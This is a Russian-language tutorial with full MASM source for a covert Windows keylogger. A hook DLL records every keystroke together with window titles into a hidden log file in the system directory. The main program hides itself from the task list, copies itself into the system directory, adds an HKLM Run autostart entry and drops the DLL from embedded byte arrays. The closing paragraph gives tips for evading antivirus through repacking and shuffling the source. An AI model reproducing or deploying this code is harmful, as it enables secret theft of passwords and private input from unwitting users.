Написать клавиатурный шпион. Все не так сложно как кажется, хотя и есть некоторые грабли. Существует, как минимум, два пути решения этой задачи : 1) in al, 60h - получение данных из порта клавиатуры. После выполнения в al будет находиться код последней нажатой клавиши. Если меньше 127, то нажата, если больше 127 - отжата. Теперь можно описать процесс постоянного вызова получения значения из порта и обработку этого значения. Для того, чтобы не сильно загружать систему, необходимо вставить "Sleep, n". Недостатки этого метода: в таком виде не будет работать под WinNT и, в зависимости от величины "n", будет или сильно загружать систему, или не успевать отлавливать нажатия некоторых клавиш. 2) SetWindowsHookEx - установка hook-а на нажатие клавиш. Синтаксис этой функции такой: HHOOK SetWindowsHookEx( int idHook, // тип hook-а HOOKPROC lpfn, // адрес процедуры обработки HINSTANCE hMod, // handle приложения DWORD dwThreadId // идентификатор thread-а для обработки Проблема вот в чем: для установки hook-а для всех процессов в системе, процедура обработки должна находиться в дополнительной DLL. Проблема решаема - весь текст дополнительной библиотеки объявляем как строки в основной программе и при запуске приложения записываем эту строки в файл - дополнительную DLL. Для реализации этого способа берем MASM v.4 - размер дополнительной DLL и исполняемого файла будет относительно невелик. Можно писать на любом асме, С или Delphi - используются функций WinAPI и перенос на другой язык не займет много времени. Функция SetWindowsHookEx имеет одну особенность - (сейчас выражусь не совсем правильно, зато более-менее понятно) она грузит новый экземпляр дополнительной DLL на каждое активное приложение. Если мы в библиотеке зарезервировали строку, при нажатии клавиши добавляем в нее значение, и активными были пять win-приложений, то в памяти будет находится 5 строк. Для сохранения в файл полученной информации, нужно "обрабатывать" точку выгрузки нашей DLL. Для дальнейшего чтения этой статьи необходимо хотя бы минимальное знание ассемблера. В противном случае можно взять готовую программу с http://www.danil.dp.ua/. Вот исходники дополнительной DLL ("ks000.asm"): .386 .model flat, stdcall option casemap :none ; ==== include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib ; Объявляем процедуру сохранения в файл DksKeySave PROTO ; Константы и переменные .data Hook2 dd ? Flash0 db 13,10,0 DopK db 50 dup(?) LstKey db 50 dup(?) BufKey db 1500 dup(?) ; строка-буфер BufKey0 db 1000 dup(?) ; строка-буфер для записи в файл BufKey1 db 1500 dup(?) BufKey2 db 1000 dup(?) BoolKey dd ? LenKey1 dd ? LenKey2 dd ? NilStr db " ",0 DateStr1 db "dd.MM.yyyy",0 DateStr2 db "hh : mm : ss",0 DateStr3 db " ",0 DopStr1 db "Write in file ",0 DopStr2 db "----",0 DopStr3 db " Active: ",0 RegValue2 db "ks000log.txt" ,0 CommandStr3 db 1024 dup (?) Flash1 db "\",0 cmd1 dd ? ; Раздел кода .code LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD ; Загрузка DLL .IF reason == DLL_PROCESS_ATTACH ; определим путь к log-файлу invoke GetSystemDirectory , addr CommandStr3, sizeof CommandStr3 invoke rtrim, addr CommandStr3, addr CommandStr3 invoke lstrcat,addr CommandStr3,addr Flash1 ;файл для записи - "<WinSystemDir>\ks000log.txt" invoke lstrcat, addr CommandStr3, addr RegValue2 ; обнулим дополнительные переменные mov LenKey1,0 ; счетчик строки mov LenKey2,0 ; счетчик периодической выгрузки в файл mov BoolKey,0 ; топталась ли клава в этом приложении mov eax, TRUE ret ; Выгрузка DLL .ELSEIF reason == DLL_PROCESS_DETACH ; Если клавиши были нажаты - запись в файл .IF (BoolKey != 0) invoke lstrcpy, addr BufKey1, addr BufKey invoke DksKeySave ; моя проца записи в файл .ENDIF .ENDIF ret LibMain Endp ; ==== ; процедура обработки DksKeyProc proc nCode0: DWORD, wParam0: WPARAM, lParam0: LPARAM .IF nCode0 == HC_ACTION mov eax, lParam0 shr eax,16 and eax, KF_UP .IF (eax == 0) ; если была нажата клавиша и mov BoolKey,1 ; можно обработать .IF LenKey2 == 0 ; Если нажата первая клавиша ; Получение заголовка активного приложения, даты и времени invoke GetForegroundWindow .IF eax != 0 invoke SendMessage, eax, WM_GETTEXT, 1024, addr BufKey2 .ENDIF invoke GetDateFormat, NULL, NULL, NULL, addr DateStr1, addr BufKey0, sizeof BufKey0 invoke lstrcpy, addr BufKey, addr BufKey0 invoke lstrcat, addr BufKey, addr DateStr3 invoke GetTimeFormat, NULL, TIME_FORCE24HOURFORMAT, NULL, addr DateStr2, addr BufKey0, sizeof BufKey0 invoke lstrcat, addr BufKey, addr BufKey0 invoke lstrcat, addr BufKey, addr DateStr3 invoke lstrcat, addr BufKey, addr DopStr3 invoke lstrcat, addr BufKey, addr BufKey2 invoke lstrcat, addr BufKey, addr Flash0 invoke lstrlen, addr BufKey mov LenKey2, eax .ENDIF ; преобразование в строку invoke GetKeyNameText, lParam0, addr DopK, sizeof DopK invoke lstrcpy, addr LstKey, addr DopK invoke lstrcat, addr BufKey, addr DopK ; Добавление в строку-буфер invoke lstrcat, addr BufKey, addr DateStr3 invoke lstrlen, addr DopK add LenKey1, eax ; счетчик строки add LenKey1, 3 ; если больше 100 - перенос строки .IF LenKey1 >=100 invoke lstrcat, addr BufKey, addr Flash0 mov eax, LenKey1 add LenKey2, eax ; счетчик выгрузки в файл mov LenKey1,0 .ENDIF ; если больше 1000 - запись в файл .IF LenKey2 >=1000 invoke lstrcpy, addr BufKey1, addr BufKey mov LenKey1,0 mov LenKey2,0 invoke DksKeySave ; моя проца записи в файл .ENDIF mov eax,0 ret .ENDIF .ENDIF invoke CallNextHookEx, Hook2 ,nCode0, wParam0, lParam0 ret DksKeyProc endp ; ==== ; моя проца записи в файл DksKeySave proc ; получения времени сброса в файл invoke lstrcat, addr BufKey1, addr Flash0 invoke lstrcat, addr BufKey1, addr DopStr1 invoke GetDateFormat, NULL, NULL, NULL, addr DateStr1, addr BufKey0, sizeof BufKey0 invoke lstrcat, addr BufKey1, addr BufKey0 invoke lstrcat, addr BufKey1, addr DateStr3 invoke GetTimeFormat, NULL, TIME_FORCE24HOURFORMAT, NULL, addr DateStr2, addr BufKey0, sizeof BufKey0 invoke lstrcat, addr BufKey1, addr BufKey0 invoke lstrcat, addr BufKey1, addr Flash0 invoke lstrcat, addr BufKey1, addr DopStr2 invoke lstrcat, addr BufKey1, addr Flash0 invoke lstrcat, addr BufKey1, addr Flash0 ;файл для записи - "<WinSystemDir>\ks000log.txt" invoke _lopen, addr CommandStr3, OF_WRITE mov cmd1,eax .IF eax == 4294967295 ;если не удалось открыть - создадим invoke _lcreat, addr CommandStr3, 4 mov cmd1,eax .ELSE ;если открыли - перейдем в конец invoke _llseek, cmd1, 0, FILE_END .ENDIF .IF cmd1 != 4294967295 invoke lstrlen, addr BufKey1 invoke _lwrite, cmd1, addr BufKey1, eax ;запись в файл invoke _lclose, cmd1 ;закрыть файл .ENDIF ret DksKeySave endp End LibMain В том же каталоге создадим файл "ks000.def" с текстом: LIBRARY ks000 EXPORTS DksKeyProc и файл компиляции нашей DLL "1.bat": @echo off if exist ks000.obj del ks000.obj if exist ks000.dll del ks000.dll \masm32\bin\ml /c /coff ks000.asm \masm32\bin\Link /SUBSYSTEM:WINDOWS /DLL /DEF:ks000.def ks000.obj dir ks000.* pause Запускаем "1.bat" и, если все исполнено правильно, то у нас появится файл "ks000.dll" - дополнительная библиотека. DLL можно сжать. У меня после сжатия ASpack-ом получилось 8704. Для того, чтобы поместить весь код DLL в главный файл, необходимо разбить DLL на строки. Теперь пишем небольшую дополнительную прогу, которая преобразует нашу DLL в строки с кодами символов, разделенных запятыми. Написание такой программы не составит особого труда. Если что, то исходники, текст дополнительной проги (под delphi - облом было возиться с асмом), ее саму и 2 текстовых файла-шаблона для вставки в ассемблерный код можно найти на www.danil.dp.ua/dks_src.zip. Теперь необходимо описать саму программу клавиатурного шпиона. Вот исходники нашей проги ("dks10.asm"): .486 .model flat,stdcall option casemap:none include \masm32\include\winmm.inc include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\advapi32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib includelib \masm32\lib\advapi32.lib includelib \masm32\lib\winmm.lib ; Процедура обработки оконных сообщений WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD ; Раздел констант и переменных .DATA DLLstr0 db 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0 DLLstr1 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DLLstr2 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 200, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 0 DLLstr3 db 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 0 DLLstr4 db 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0 DLLstr5 db 0, 0, 0, 105, 150, 211, 219, 45, 247, 189, 136, 45, 247, 189, 136, 45, 247, 189, 136, 45, 247, 189, 136, 57, 247, 0 ; SKIP ; Здесь находятся остальные строки-константы кода нашей DLL ; SKIP DLLstr345 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DLLstr346 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DLLstr347 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 DLLstr348 db 0, 0, 0, 0, 0 ErrorStr db "Ошибка при вызове DLL.",13,10,0 ErrorStr1 db "Ошибка записи в реестр. Программа не будет стартовать вместе с Windows.",13,10,0 kernel32 db "kernel32.dll", 0 func db "RegisterServiceProcess", 0 AutoKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0 AutoRegValue db "systemks",0 AutoRegValue1 db "ks000.exe" ,0 RegValue db "ks000.dll" ,0 RegValue1 db "ks000log.txt" ,0 Flash db "\",0 AppName db "systemks",0 ClassName db "DksClass",0 IconName db "TksIcon",0 funcKEY db "DksKeyProc",0 .DATA? hInstance dd ? CommandLine dd ? pKey dd ? dll0 dd ? dll1 dd ? cmd dd ? Hook1 dd ? DW_SIZE EQU 4 DWordSize dd ? Temp dd ? WinDir db 900 dup(?) CommandStr1 db 1024 dup(?) CommandStr2 db 1024 dup(?) CommandStr3 db 1024 dup(?) ; Раздел кода .CODE start: ; Если прога уже запущена - выход invoke FindWindow,0,addr AppName cmp eax,0 jnz quit mov dll0,0 mov Hook1,0 ; Скрываем по Alt+Ctrl+Del invoke GetModuleHandle, ADDR kernel32 or eax,eax jz continue invoke GetProcAddress, eax, ADDR func or eax, eax jz continue push 1 push 0 call eax continue: ; Объявляем пути к файлам проги invoke GetSystemDirectory , addr WinDir, sizeof WinDir invoke lstrcat,addr WinDir,addr Flash invoke lstrcpy, addr CommandStr2, addr WinDir ;файл для записи - "<WinSystemDir>\ks000log.txt" invoke lstrcat, addr CommandStr2, addr RegValue1 invoke lstrcpy, addr CommandStr3, addr WinDir ; дополнительная DLL - "<WinSystemDir>\ks000.dll" invoke lstrcat, addr CommandStr3, addr RegValue ; Автозапуск пишем в реестр invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey .IF eax == 0 invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue1, sizeof AutoRegValue1 .IF (eax != 0) ; Если неудача - сообщаем в log-файл invoke _lopen, addr CommandStr2, OF_WRITE mov cmd,eax .IF eax == 4294967295 invoke _lcreat, addr CommandStr2, 4 mov cmd,eax .ELSE invoke _llseek, cmd, 0, FILE_END .ENDIF .IF cmd != 4294967295 invoke _lwrite, cmd, addr ErrorStr1, sizeof ErrorStr1 invoke _lclose, cmd .ENDIF .ENDIF .ELSE ; Если неудача - сообщаем в log-файл invoke _lopen, addr CommandStr2, OF_WRITE mov cmd,eax .IF eax == 4294967295 invoke _lcreat, addr CommandStr2, 4 mov cmd,eax .ELSE invoke _llseek, cmd, 0, FILE_END .ENDIF .IF cmd != 4294967295 invoke _lwrite, cmd, addr ErrorStr1, sizeof ErrorStr1 invoke _lclose, cmd .ENDIF .ENDIF invoke RegCloseKey, pKey ; Копируем программу в "<WinSystemDir>\ks000.exe" invoke lstrcat,addr WinDir,addr AutoRegValue1 invoke GetModuleFileName,NULL,addr CommandStr1,sizeof CommandStr1 invoke CopyFile,addr CommandStr1,addr WinDir,FALSE ; Создаем дополнительную DLL в "<WinSystemDir>\ks000.dll" invoke _lcreat, addr CommandStr3, 0 mov cmd,eax .IF cmd != 4294967295 invoke _lwrite, cmd, addr DLLstr0, 25 invoke _lwrite, cmd, addr DLLstr1, 25 invoke _lwrite, cmd, addr DLLstr2, 25 invoke _lwrite, cmd, addr DLLstr3, 25 invoke _lwrite, cmd, addr DLLstr4, 25 invoke _lwrite, cmd, addr DLLstr5, 25 ; SKIP ; Здесь находится код записи остальных строк-констант в нашу DLL ; SKIP invoke _lwrite, cmd, addr DLLstr345, 25 invoke _lwrite, cmd, addr DLLstr346, 25 invoke _lwrite, cmd, addr DLLstr347, 25 invoke _lwrite, cmd, addr DLLstr348, 4 invoke _lclose, cmd .ENDIF ; Инициализация invoke GetModuleHandle, NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT quit: invoke ExitProcess,eax ;---- WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD ; Локальные переменные LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND LOCAL Ver: OSVERSIONINFO ; Создаем окно программы mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInstance pop wc.hInstance mov wc.hbrBackground,COLOR_WINDOW mov wc.lpszMenuName,NULL mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,hInstance,addr IconName mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx, addr wc INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,500,400,100,50,NULL,NULL,hInst,NULL mov hwnd,eax ; Для отладки окно можно показать ;invoke ShowWindow, hwnd,SW_SHOWNORMAL ;invoke UpdateWindow, hwnd ; Обработка сообщений .WHILE TRUE invoke GetMessage, ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg .ENDW mov eax,msg.wParam ret WinMain endp ; ---- ; Обработка сообщений WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM ; Если окно создается .IF uMsg == WM_CREATE ; Грузим дополнительную DLL invoke LoadLibrary, addr RegValue mov dll0,eax .IF (dll0 ==0) ; Если неудача - сообщаем в log-файл invoke _lopen, addr CommandStr2, OF_WRITE mov cmd,eax .IF eax == 4294967295 invoke _lcreat, addr CommandStr2, 4 mov cmd,eax .ELSE invoke _llseek, cmd, 0, FILE_END .ENDIF .IF cmd != 4294967295 invoke _lwrite, cmd, addr ErrorStr, sizeof ErrorStr invoke _lclose, cmd .ENDIF ; Выход invoke PostQuitMessage,NULL xor eax,eax ret .ELSE ; Получаем адрес процедуры обработки invoke GetProcAddress, dll0, addr funcKEY mov dll1,eax .IF (dll1 ==0) ; Если неудача - сообщаем в log-файл invoke _lopen, addr CommandStr2, OF_WRITE mov cmd,eax .IF eax == 4294967295 invoke _lcreat, addr CommandStr2, 4 mov cmd,eax .ELSE invoke _llseek, cmd, 0, FILE_END .ENDIF .IF cmd != 4294967295 invoke _lwrite, cmd, addr ErrorStr, sizeof ErrorStr invoke _lclose, cmd .ENDIF ; Выход invoke PostQuitMessage,NULL xor eax,eax ret .ELSE ; Устанавливаем hook invoke SetWindowsHookEx, WH_KEYBOARD, dll1, dll0, 0 mov Hook1, eax .IF (Hook1 == 0) ; Если неудача - сообщаем в log-файл invoke _lopen, addr CommandStr2, OF_WRITE mov cmd,eax .IF eax == 4294967295 invoke _lcreat, addr CommandStr2, 4 mov cmd,eax .ELSE invoke _llseek, cmd, 0, FILE_END .ENDIF .IF cmd != 4294967295 invoke _lwrite, cmd, addr ErrorStr, sizeof ErrorStr invoke _lclose, cmd .ENDIF ; Выход invoke PostQuitMessage,NULL xor eax,eax ret .ENDIF .ENDIF .ENDIF ; Если выход из проги - убираем hook .ELSEIF uMsg == WM_DESTROY invoke FreeLibrary, dll0 invoke UnhookWindowsHookEx, Hook1 invoke PostQuitMessage,NULL xor eax,eax ret .ELSEIF invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .ENDIF xor eax,eax ret WndProc endp ;---- END start После компиляции exe-файл можно сжать ASpack-ом. Пару слов о том как это все работает. При запуске программы она записывает в реестр параметр "systemks" со значением "ks000.exe" в ключе "HKLM/SoftWare/Microsoft/Windows/Current Version/Run" - для старта вместе с m$ window$. ВНИМАНИЕ! Если система - WinNT, и пользователь - не администратор, то облом. Потом переписывает себя в каталог <WinSystemDir>, создает из строк-констант дополнительную DLL "ks000.dll" (в процессе отладки необходимо проверить тождественность 2 файлов), подгружает ее и вызывает SetWindowsHookEx. При работе программы происходит разбитие буфера накопления информации о нажатых клавишах на строки, длиной около 100 символов, и сброс в файл "<WinSystemDir>\ks000log.txt" по достижении размера буфера 1000 символов или выгрузки DLL (атрибут файла - системный, из проводника не виден). В приведенной выше программе есть недостатки: она не понимает разницу большие/маленькие буквы (хотя является многоязычной) и не отслеживает повторения ("Shift", "Alt", "Ctrl" и т.п.). Все это можно дописать в процедуре обработки. На сях или delphi это делается элементарно. Теперь об антивирах. Пока данная конструкция известными мне антивирусными пакетами не определяется. Но при возникновении проблем такого рода, выход достаточно прост - перетасовать исходники, сжать каким-нибудь XXpack-ом и т.д. и т.п.
|